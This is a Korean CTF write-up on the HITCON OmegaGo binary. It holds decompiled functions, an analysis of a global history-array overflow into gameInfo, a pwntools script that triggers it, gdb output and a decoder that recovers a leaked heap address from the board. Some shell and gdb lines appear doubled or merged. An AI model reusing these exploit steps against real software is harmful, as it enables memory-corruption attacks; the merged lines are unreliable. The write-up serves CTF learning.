...
Code Block | ||||
---|---|---|---|---|
| ||||
__int64 OmegaGo() { Method *AI; // rbx Method *HUMAN; // rbx unsigned int rowNumber; // [rsp+Ch] [rbp-64h] unsigned int colNumber; // [rsp+10h] [rbp-60h] int playerNum; // [rsp+14h] [rbp-5Ch] double playTime; // [rsp+18h] [rbp-58h] struct timeval startTime; // [rsp+20h] [rbp-50h] struct timeval endTime; // [rsp+30h] [rbp-40h] Method *player[2]; // [rsp+40h] [rbp-30h] unsigned __int64 v10; // [rsp+58h] [rbp-18h] v10 = __readfsqword(0x28u); setDefGameinfo(); playerNum = 1; AI = (Method *)operator new(8uLL); AI->Play = 0LL; setAIFunction(AI); player[0] = AI; HUMAN = (Method *)operator new(8uLL); HUMAN->Play = 0LL; setHUMANFunction(HUMAN); player[1] = HUMAN; while ( !((unsigned __int8)sub_401202(playerNum, &gPlayerGameInfo) ^ 1) ) { gettimeofday(&startTime, 0LL); (*player[playerNum - 1]->Play)(player[playerNum - 1], &gPlayerGameInfo, playerNum, &rowNumber, &colNumber); gettimeofday(&endTime, 0LL); playTime = (double)(LODWORD(endTime.tv_usec) - LODWORD(startTime.tv_usec)) / 1000000.0 + (double)(LODWORD(endTime.tv_sec) - LODWORD(startTime.tv_sec)); if ( rowNumber == -1 || colNumber == -1 ) break; if ( rowNumber != -2 && colNumber != -2 ) { *(double *)&gPlayerGameInfo.board[playerNum - 1 + 14LL] = *(double *)&gPlayerGameInfo.board[playerNum - 1 + 14LL] - playTime; if ( *(double *)&gPlayerGameInfo.board[playerNum - 1 + 14LL] < 0.0 ) print("Time's up"); SetMarkForBoard(&gPlayerGameInfo, rowNumber, colNumber, playerNum, 0); playerNum ^= 3u; } else if ( (unsigned __int8)regret() ^ 1 ) { print("No you cant't"); } } CheckResults(); PlayHistory(); return PlayAgain(); } |
SetMarkForBoard
해당 함수는 다음과 같은 기능을 합니다.
player 변수의 값을 이용해 플레이어의 마크를 결정합니다.
saveMarkofBoard() 함수와 마크를 저장할 좌표 값(row, col)을 이용해 gameinfo이용해gameinfo.Board[] 영역에 값을 저장합니다.
각종 함수를 이용해 플레이어가 마크를 저장하길 원하는 위치 값이 타당한지 확인합니다.
CheckBoardArea(), GetMarkForBoard(), checkLocation(), ...
- 입력한 위치 값이 정상적이지 않으면 메시지를 출력하고 프로그램을 종료합니다.
- 입력한 위치 값가 정상적이라면 해당 gameInfo를 gHistory[]에 저장합니다.
- "operator new(0x80)" 코드에 의해 Heap 영역을 할당합니다.
- 할당된 Heap 영역의 주소 값을 gHistory[]변수에 저장합니다.
- 취약성은 여기서 발생합니다.
- GameInfo 구조체를 사용하는 gHistory[]의 크기는 364 입니다.
- gHistory[] 배열에 저장된 번호가 364를 넘는지에 대한 확인이 없습니다.
- 즉, 유저가 입력한 값이 364회가 넘으면 gPlayerGameInfo 영역에 Overflow됩니다.
Code Block |
---|
signed __int64 __fastcall SetMarkForBoard(GameInfo *gameinfo, unsigned int inputRow, unsigned int inputCol, int player, unsigned __int8 printOpt) { signed __int64 result; // rax signed int mark; // eax MAPDST bool v7; // al GameInfo *historyCount; // rax GameInfo *saveGameInfo; // ST30_8 signed int i; // [rsp+24h] [rbp-2Ch] unsigned int row; // [rsp+28h] [rbp-28h] unsigned int col; // [rsp+2Ch] [rbp-24h] if ( (unsigned __int8)GetMarkForBoard((__int64)gameinfo, inputRow, inputCol) == '.' ) { if ( player == 1 ) mark = 'O'; else mark = 'X'; saveMarkofBoard((__int64)gameinfo, inputRow, inputCol, mark); gameinfo->rowNumber = inputRow; gameinfo->colNumber = inputCol; for ( i = 0; i <= 3; ++i ) { row = dword_404FE0[i] + inputRow; col = dword_404FF0[i] + inputCol; v7 = (unsigned __int8)CheckBoardArea(row) ^ 1 || (unsigned __int8)CheckBoardArea(col) ^ 1; if ( !v7 && (char)GetMarkForBoard((__int64)gameinfo, row, col) == 0xA7 - mark && (unsigned int)checkLocation((__int64)gameinfo, row, col) == 0 ) { sub_4024C2((__int64)gameinfo, row, col); } } if ( (unsigned int)checkLocation((__int64)gameinfo, inputRow, inputCol) == 0 ) { if ( !printOpt ) print("Why you do this :(("); result = 0LL; } else if ( (unsigned __int8)sub_402528((__int64)gameinfo, printOpt) ) { if ( !printOpt ) print("Wanna Ko Fight?"); result = 0LL; } else { if ( printOpt != 1 ) { LODWORD(gameinfo->player) = mark; historyCount = (GameInfo *)operator new(0x80uLL); *historyCount = *gameinfo; saveGameInfo = historyCount; LODWORD(historyCount) = gHistoryCount++; gHistory[(signed int)historyCount] = saveGameInfo; } result = 1LL; } } else { if ( !printOpt ) print("You cheater!"); result = 0LL; } return result; } |
...
Debuging
Overflow
- 해당 함수는 다음과 같은 기능을 합니다.
- PrintGameBoard_0() 함수를 이용하여 Go board를 출력합니다.
- scanf() 함수를 이용하여 최대 10개의 문자를 입력 받습니다.
- 입력받은 문자열은 다음과 같이 데이터 처리 합니다.
- 입력한 문자열이 "surrender"는 *colNumber, *rowNumber 변수에 -1을 저장합니다.
- 입력한 문자열이 "regret"는 *colNumber, *rowNumber 변수에 -2을 저장합니다.
- 앞에 두 문자열과 같지 않을 경우 다음과 같이 데이터를 처리합니다.
- sscanf() 함수를 이용하여 문자와 숫자 값을 분리 합니다.
- 그리고 해당 값은 CheckBoardArea()함수를 이용하여 Go board 범위 안에 포함되는지 확인합니다.
- 입력받은 문자열은 다음과 같이 데이터 처리 합니다.
Code Block | ||||
---|---|---|---|---|
| ||||
__int64 __fastcall UserInput(__int64 a1, __int64 a2, __int64 a3, signed int *a4, signed int *a5)
{
bool v5; // al@11
signed int *colNumber; // [rsp+8h] [rbp-38h]@1
signed int *rowNumber; // [rsp+10h] [rbp-30h]@1
char colChar; // [rsp+37h] [rbp-9h]@7
__int64 v10; // [rsp+38h] [rbp-8h]@1
rowNumber = a4;
colNumber = a5;
v10 = *MK_FP(__FS__, 40LL);
PrintGameBoard_0(a2);
memset(command, 0, 0xCuLL);
if ( scanf("%10s", command) != 1 )
print("Er?");
if ( !strcmp("surrender", command) )
{
*colNumber = -1;
*rowNumber = *colNumber;
}
else if ( !strcmp("regret", command) )
{
*colNumber = -2;
*rowNumber = *colNumber;
}
else
{
if ( sscanf(command, "%c%d", &colChar, rowNumber) != 2 )
print("Input like 'A19'");
*colNumber = colChar - 'A';
*rowNumber = 19 - *rowNumber;
v5 = (unsigned __int8)CheckBoardArea(*rowNumber) ^ 1 || (unsigned __int8)CheckBoardArea(*colNumber) ^ 1;
if ( v5 )
print("No overflow plz.");
}
return *MK_FP(__FS__, 40LL) ^ v10;
} |
PrintGameBoard
- 해당 함수는 다음과 같은 기능을 합니다.
- Go game board를 출력합니다.
- puts() 함수를 이용해서 세로 좌표값을 출력합니다.(ABCD...)
- GetMarkForBoard()함수를 이용하여 전달된 인자값에 위치한 mark를 출력합니다.
- fprintf()함수를 이용하여 Player의 play 시간을 출력합니다.
- a2변수는 History 출력할때 사용되는 설정 값입니다.
- a2변수 값으로 1이 전달되면, 플레이어의 Mark와 좌표값을 출력합니다.
- Go game board를 출력합니다.
Code Block | ||||
---|---|---|---|---|
| ||||
__int64 __fastcall PrintGameBoard(GameInfo *gameInfo, char a2)
{
char v2; // al@6
signed int row; // [rsp+20h] [rbp-10h]@1
signed int col; // [rsp+24h] [rbp-Ch]@5
__int64 v6; // [rsp+28h] [rbp-8h]@1
v6 = *MK_FP(__FS__, 40LL);
puts(" ABCDEFGHIJKLMNOPQRS");
for ( row = 0; row <= 18; ++row )
{
if ( 19 - row <= 9 )
putchar(' ');
else
putchar('1');
putchar((19 - row) % 10 + 48);
putchar(' ');
for ( col = 0; col <= 18; ++col )
{
v2 = GetMarkForBoard(gameInfo, row, col);
putchar(v2);
}
puts(&byte_404E87);
}
if ( a2 )
fprintf(
stdout,
"piece %c play at %c%d\n",
LODWORD(gameInfo->colNumber),
(unsigned int)(HIDWORD(gameInfo->rowNumber) + 'A'),
(unsigned int)(19 - LODWORD(gameInfo->rowNumber)));
fprintf(
stdout,
"Time remain: %c: %6.2lf, %c: %6.2lf\n",
'O',
'X',
*(double *)&gameInfo->player,
gameInfo->playTimeForCom);
puts(&byte_404E87);
return *MK_FP(__FS__, 40LL) ^ v6;
} |
ResetGameinfo - 0x04010AE
- 해당 구조체는 다음 함수에서 초기화 됩니다.
- memset()함수를 이용하여 0x60 byte만큼 0으로 초기화 합니다.
rowNumber,colNumber의 값을 -1로 저장합니다.
- player의 값으로는 0을 저장합니다.
playTimeForHum, playTimeForCom의 값으로 4640537203540230144을 저장합니다.
Code Block | ||||
---|---|---|---|---|
| ||||
__int64 __fastcall ResetGameinfo(GameInfo *gameInfo)
{
GameInfo *tmp; // ST08_8@1
__int64 canary; // ST18_8@1
tmp = gameInfo;
canary = *MK_FP(__FS__, 40LL);
memset(gameInfo, 0, 0x60uLL);
gameInfo->colNumber = -1;
tmp->rowNumber = tmp->colNumber;
LODWORD(gameInfo->player) = 0;
*(_QWORD *)&gameInfo->playTimeForHum = 4640537203540230144LL;
tmp->playTimeForCom = tmp->playTimeForHum;
return *MK_FP(__FS__, 40LL) ^ canary;
} |
SetMarkForBoard - 0x04025B2
- 해당 함수는 다음과 같은 기능을 합니다.
GetMarkForBoard() 함수를 이용하여 유저가 입력한 좌표의 값이 '.' 문자와 같은지 확인합니다.
- playerInfo의 값을 이용하여 board에 표시할 mark 문자를 설정합니다.
- 그리고 사용자로 부터 입력받은 값이 정상적인 값인지 확인합니다.
- 마지막으로 그 값이 정상적인 값이라면 다음과 같은 처리를 진행합니다.
- "operator new(0x80uLL)" 코드에 의해 Heap 영역을 할당합니다.
- 할당된 Heap 메모리의 크기는 0x90 byte 입니다.
- gameInfo에 보관된 값을 할당된 Heap 영역에 저장합니다.
- 할당된 Heap 영역의 주소 값을 history[]변수에 저장합니다.
- "operator new(0x80uLL)" 코드에 의해 Heap 영역을 할당합니다.
Code Block | ||||
---|---|---|---|---|
| ||||
signed __int64 __fastcall SetMarkForBoard(GameInfo *gameInfo, unsigned int rowNumber, unsigned int colNumber, int playerInfo, unsigned __int8 a5)
{
signed __int64 result; // rax@3
signed int playerMark; // eax@6
bool v7; // al@11
GameInfo *v8; // rax@28
GameInfo *v9; // ST30_8@28
__int64 v10; // rbx@30
unsigned __int8 v11; // [rsp+8h] [rbp-48h]@1
int playerDistinction; // [rsp+Ch] [rbp-44h]@1
signed int playerMark_1; // [rsp+Ch] [rbp-44h]@8
unsigned int col; // [rsp+10h] [rbp-40h]@1
signed int i; // [rsp+24h] [rbp-2Ch]@8
unsigned int row; // [rsp+28h] [rbp-28h]@9
int v17; // [rsp+2Ch] [rbp-24h]@9
__int64 v18; // [rsp+38h] [rbp-18h]@1
col = colNumber;
playerDistinction = playerInfo;
v11 = a5;
v18 = *MK_FP(__FS__, 40LL);
if ( (unsigned __int8)GetMarkForBoard(gameInfo, rowNumber, colNumber) == '.' )
{
if ( playerDistinction == 1 )
playerMark = 'O';
else
playerMark = 'X';
playerMark_1 = playerMark;
sub_401D48(gameInfo, rowNumber, col, playerMark);
LODWORD(gameInfo->rowNumber) = rowNumber;
HIDWORD(gameInfo->rowNumber) = col;
for ( i = 0; i <= 3; ++i )
{
row = dword_404FE0[i] + rowNumber;
v17 = dword_404FF0[i] + col;
v7 = (unsigned __int8)CheckBoardArea(row) ^ 1 || (unsigned __int8)CheckBoardArea(v17) ^ 1;
if ( !v7
&& (char)GetMarkForBoard(gameInfo, row, v17) == 167 - playerMark_1
&& (unsigned int)sub_402330(gameInfo, row, v17) == 0 )
{
sub_4024C2((__int64)gameInfo, row, v17);
}
}
if ( (unsigned int)sub_402330(gameInfo, rowNumber, col) == 0 )
{
if ( !v11 )
print("Why you do this :((");
result = 0LL;
}
else if ( (unsigned __int8)sub_402528(gameInfo, v11) )
{
if ( !v11 )
print("Wanna Ko Fight?");
result = 0LL;
}
else
{
if ( v11 != 1 )
{
LODWORD(gameInfo->colNumber) = playerMark_1;
operator new(0x80uLL);
v8->board[0] = gameInfo->board[0];
v8->board[1] = gameInfo->board[1];
v8->board[2] = gameInfo->board[2];
v8->board[3] = gameInfo->board[3];
v8->board[4] = gameInfo->board[4];
v8->board[5] = gameInfo->board[5];
v8->board[6] = gameInfo->board[6];
v8->board[7] = gameInfo->board[7];
v8->board[8] = gameInfo->board[8];
v8->board[9] = gameInfo->board[9];
v8->board[10] = gameInfo->board[10];
v8->board[11] = gameInfo->board[11];
v8->rowNumber = gameInfo->rowNumber;
v8->colNumber = gameInfo->colNumber;
v8->player = gameInfo->player;
v8->playTimeForCom = gameInfo->playTimeForCom;
v9 = v8;
LODWORD(v8) = historyCount++;
history[(signed int)v8] = v9;
}
result = 1LL;
}
}
else
{
if ( !v11 )
print("You cheater!");
result = 0LL;
}
v10 = *MK_FP(__FS__, 40LL) ^ v18;
return result;
} |
regret() - 0x0401609
- 해당 함수는 다음과 같은 기능을 처리 합니다.
Computer,사람의 플레이 정보를 지우기 위해 DeletePlayHistory()를 2번 호출합니다.
- history[]배열의 끝에 저장된 2개의 값을 제거합니다.
- 그리고 history[] 배열에 끝에 저장된 heap 영역의 정보를 gameInfo 전역 변수에 저장합니다.
- 이전 플레이로 되돌리는 것입니다.
Code Block | ||||
---|---|---|---|---|
| ||||
signed __int64 regret()
{
signed __int64 result; // rax@2
GameInfo *tmp; // rax@4
__int64 v2; // rcx@6
__int64 v3; // [rsp+8h] [rbp-8h]@1
v3 = *MK_FP(__FS__, 40LL);
if ( historyCount > 1 )
{
DeletePlayHistory(); // Computer play history
DeletePlayHistory(); // Human paly history
if ( history[historyCount - 1] )
{
tmp = history[historyCount - 1];
gameInfo.board[0] = tmp->board[0];
gameInfo.board[1] = tmp->board[1];
gameInfo.board[2] = tmp->board[2];
gameInfo.board[3] = tmp->board[3];
gameInfo.board[4] = tmp->board[4];
gameInfo.board[5] = tmp->board[5];
gameInfo.board[6] = tmp->board[6];
gameInfo.board[7] = tmp->board[7];
gameInfo.board[8] = tmp->board[8];
gameInfo.board[9] = tmp->board[9];
gameInfo.board[10] = tmp->board[10];
gameInfo.board[11] = tmp->board[11];
*(_QWORD *)&gameInfo.rowNumber = *(_QWORD *)&tmp->rowNumber;
gameInfo.player = tmp->player;
gameInfo.playTimeForCom = tmp->playTimeForCom;
gameInfo.playTimeForHum = tmp->playTimeForHum;
}
result = 1LL;
}
else
{
result = 0LL;
}
v2 = *MK_FP(__FS__, 40LL) ^ v3;
return result;
} |
DeletePlayHistory()
- 해당 함수는 다음과 같은 기능을 처리합니다.
- 이전에 play한 history가 있는지 확인합니다.
- 해당 history가 있다면 operator delete() 를 이용해 해당 history를 삭제 합니다.
- 그리고 historyCount값도 감소 시킵니다.
Code Block | ||||
---|---|---|---|---|
| ||||
__int64 DeletePlayHistory()
{
__int64 v1; // [rsp+0h] [rbp-10h]@2
__int64 canary; // [rsp+8h] [rbp-8h]@1
canary = *MK_FP(__FS__, 40LL);
if ( !history[historyCount - 1] )
return *MK_FP(__FS__, 40LL) ^ canary;
v1 = sub_401EB6(history[historyCount - 1]);
operator delete(history[historyCount - 1]);
sub_402FE6((__int64)&unk_607220, (__int64)&v1);
--historyCount;
return *MK_FP(__FS__, 40LL) ^ canary;
} |
Explanation of vulnerability
Overflow
- 해당 프로그램의 취약성은 history를 저장하는 부분에서 발생합니다.
- 사용자가 입력한 좌표값을 history[] 배열에 저장하는데 제한이 없습니다.
- history[] 변수는 전역 변수이며, 배열의 크기는 364 입니다.
GameInfo *history[364]
- history[] 전역 변수의 위치는 0x609460입니다.
Code Block | ||||
---|---|---|---|---|
| ||||
signed __int64 __fastcall SetMarkForBoard(GameInfo *gameInfo, unsigned int rowNumber, unsigned int colNumber, int playerInfo, unsigned __int8 a5)
{
...
if ( v11 != 1 )
{
LODWORD(gameInfo->player) = playerMark_1;
operator new(0x80uLL);
*v8 = *gameInfo;
v9 = v8;
LODWORD(v8) = historyCount++;
history[(signed int)v8] = v9;
}
...
} |
- 해당 Overflow 취약성을 이용해 전역 변수 gameInfo의 값을 변경할 수 있습니다.
- 전역 변수 gameInfo의 주소는 0x609FC0입니다.
- 해당 위치는 바로 history[] 전역 변수 바로 뒤에 위치합니다.
- 0x609FC0 - 0x609460 = 0xb60(2912) / 0x8(address len) = 364
- 다음과 같은 코드를 이용하여 gameInfo 전역 변수의 값을 Overflow할 수 있습니다.
- 코드를 이용하여 gameInfo 전역 변수의 값을 Overflow할 수 있습니다.
Code Block | ||||
---|---|---|---|---|
| ||||
Code Block | ||||
| ||||
from pwn import * #context.log_level = 'debug' col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S'] p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac') def Play(location): p.recvuntil('\n\n') p.sendline(location) def Fill(colStart, colEnd, row): for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1): locate = str(col_list[colNum]) locate += str(row) Play(locate) Fill('B','S',11) for count in reversed(range(1,9)): Fill('A','S',count) Fill('A','A',11) Fill('A','K',12)) Fill('A','K',12) p.interactive() |
- 디버깅 전에 각 전역 변수의 위치를 알아야 합니다.
- gGameInfo : 0x609FC0
- gHistory : 0x609460
- gGameInfo Address(0x609FC0) - gHistory(0x609460) = 0xb60(2912) / 0x8(address len) = 364
- 다음은 디버깅을 통해 확인한 내용입니다.
- gameInfo(0x609fc0) 전역 변수에 heap address(0x609fc0)값이 저장된 것을 확인 할 수 있습니다.
Code Block | ||
---|---|---|
| ||
autolycos@ubuntu:~$ sudolazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q -p 321163491 Attaching to process 321163491 ... (gdb) x/wx 0x609FC0 0x609fc0: 0x02320180 (gdb)gdb-peda$ x/gx 0x609FC0 0x609fc0: 0x00000000023201800x0000000000b94da0 (gdb)-peda$ x/8gx10gx 0x609FC0 - 0x10 0x609fb0: 0x0000000002320000 0x00000000023200c0 0x609fc0: 0x00000000023201800x0000000000b94da0 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000000 0x609fe0: 0xaaaa0000aaaaa800 0x50000100002aaaaa (gdb) 0x609ff0: 0x5554000155555555 0x0000000000000055 0x60a000: 0x0000000000000000 0x0000000000000000 |
- 그리고 해당 Overflow를 통해 출력되는 Board의 내용이 변경된 것을 확인 할 수 있습니다.
- 우리는 해당 정보를 이용하여 heap address를 추출 할 수 있습니다.
Code Block | ||
---|---|---|
| ||
autolycos@ubuntulazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ python fillout.py test.py [!] Cold not find executable 'omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' in $PATH, using './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' instead [+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': Done pid 3491 [*] Switching to interactive mode ABCDEFGHIJKLMNOPQRS 19 ...XO...X.\x00.XXXO\x00.OOX\x00X....... 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 XXXXXXXXXXX........ 11 XXXXXXXXXXXXXXXXXXX 10 .........O......... 9 OOOOOOOOOOOOOOOOOOO 8 ........OOOOOOOOOOO 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... Time remain: O: 180.00, X: 179.8384 $ |
Decode
- 추출된 화면에 출력된 Address를 해석하기 위해서는 Board에 저장되는 Mark의 값이 어떻게 관리 되는지 확인이 필요합니다.
- 다음과 같이 유저가 좌표 값을 입력하면 메모리 값은 다음과 같이 변경됩니다.
유저가 입력한 값은 0x609fc0 영역에 0x2가 저장됩니다.
컴퓨터가 입력한 값은 0x60a01A 영역에 0x1가 저장됩니다.
Code Block | ||
---|---|---|
| ||
autolycos@ubuntulazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q ./omega* Reading symbols from ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done. (gdb)-peda$ r Starting program: /home/autolycoslazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac ...Print board print ...... Time remain: O: 180.00, X: 180.00 A19 ...Print board print ... ^C Program received signal SIGINT, Interrupt. 0x00007ffff75e66b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81 81 ../sysdeps/unix/syscall-template.S: No such file or directory. (gdb)Time remain: O: 180.00, X: 171.04 ^C Program received signal SIGINT, Interrupt. gdb-peda$ x/12gx 0x609FC0 0x609fc0: 0x0000000000000002 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000000 0x609fe0: 0x0000000000000000 0x0000010000000000 0x609ff0: 0x0000000000000000 0x0000000000000000 0x60a000: 0x0000000000000000 0x0000000000000000 0x60a010: 0x0000000000000000 0x0000000000010000 (gdb)-peda$ |
- 다음과 같이 추가적인 메모리의 변화를 확인합니다.
사용자 입력을 통해 19행을 모두 채우면 메모리에 다음과 같이 저장됩니다
.
유저가 입력한 값은 0x2aaaaaaaaa 입니다.
컴퓨터가 입력한 값은 0x01555555555 입니다.
Code Block | ||
---|---|---|
| ||
ABCDEFGHIJKLMNOPQRS 19 XXXXXXXXXXXXXXXXXXX 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 OOOOOOOOOOOOOOOOOOO Time remain: O: 180.00, X: 141.02 ^C Program received signal SIGINT, Interrupt. 0x00007ffff75e66b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81 81 ../sysdeps/unix/syscall-template.S: No such file or directory. (gdb)-peda$ x/12gx 0x609FC0 0x609fc0: 0x0000002aaaaaaaaa 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000000 0x609fe0: 0x0000000000000000 0x0000010000000000 0x609ff0: 0x0000000000000000 0x0000000000000000 0x60a000: 0x0000000000000000 0x0000000000000000 0x60a010: 0x5555500000000000 0x0000000000015555 (gdb) |
- 앞에서 확인한 내용을 바탕으로 Player별 Mark 표시는 다음과 같이 bit단위로 설정하고 있다는 것을 알수 있습니다.
gdb-peda$ |
- Board에 저장되는 값을 다음과 같은 방법으로 관리됩니다.
- Board영역에 저장되는 값을 bit를 이용해 저장될 값을 결정합니다.
- 다음과 같은 bit값을 이용해 player를 구분합니다.
- AI : 10 bit
- Humman : 01bit
Panel | |||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| |||||||||||||||||||||||||||
|
- 이러한 정보를 이용하여 다음과 같은 복호화 도구를 작성할 수 있습니다.
Code Block | ||||
---|---|---|---|---|
| ||||
def decode(offset): bit_offset = offset * 8 data = ''.join(board) result = 0 for i in xrange(32): states = '.OX\0' val = states.index(data[bit_offset + i]) result |= val << (i * 2) return result |
...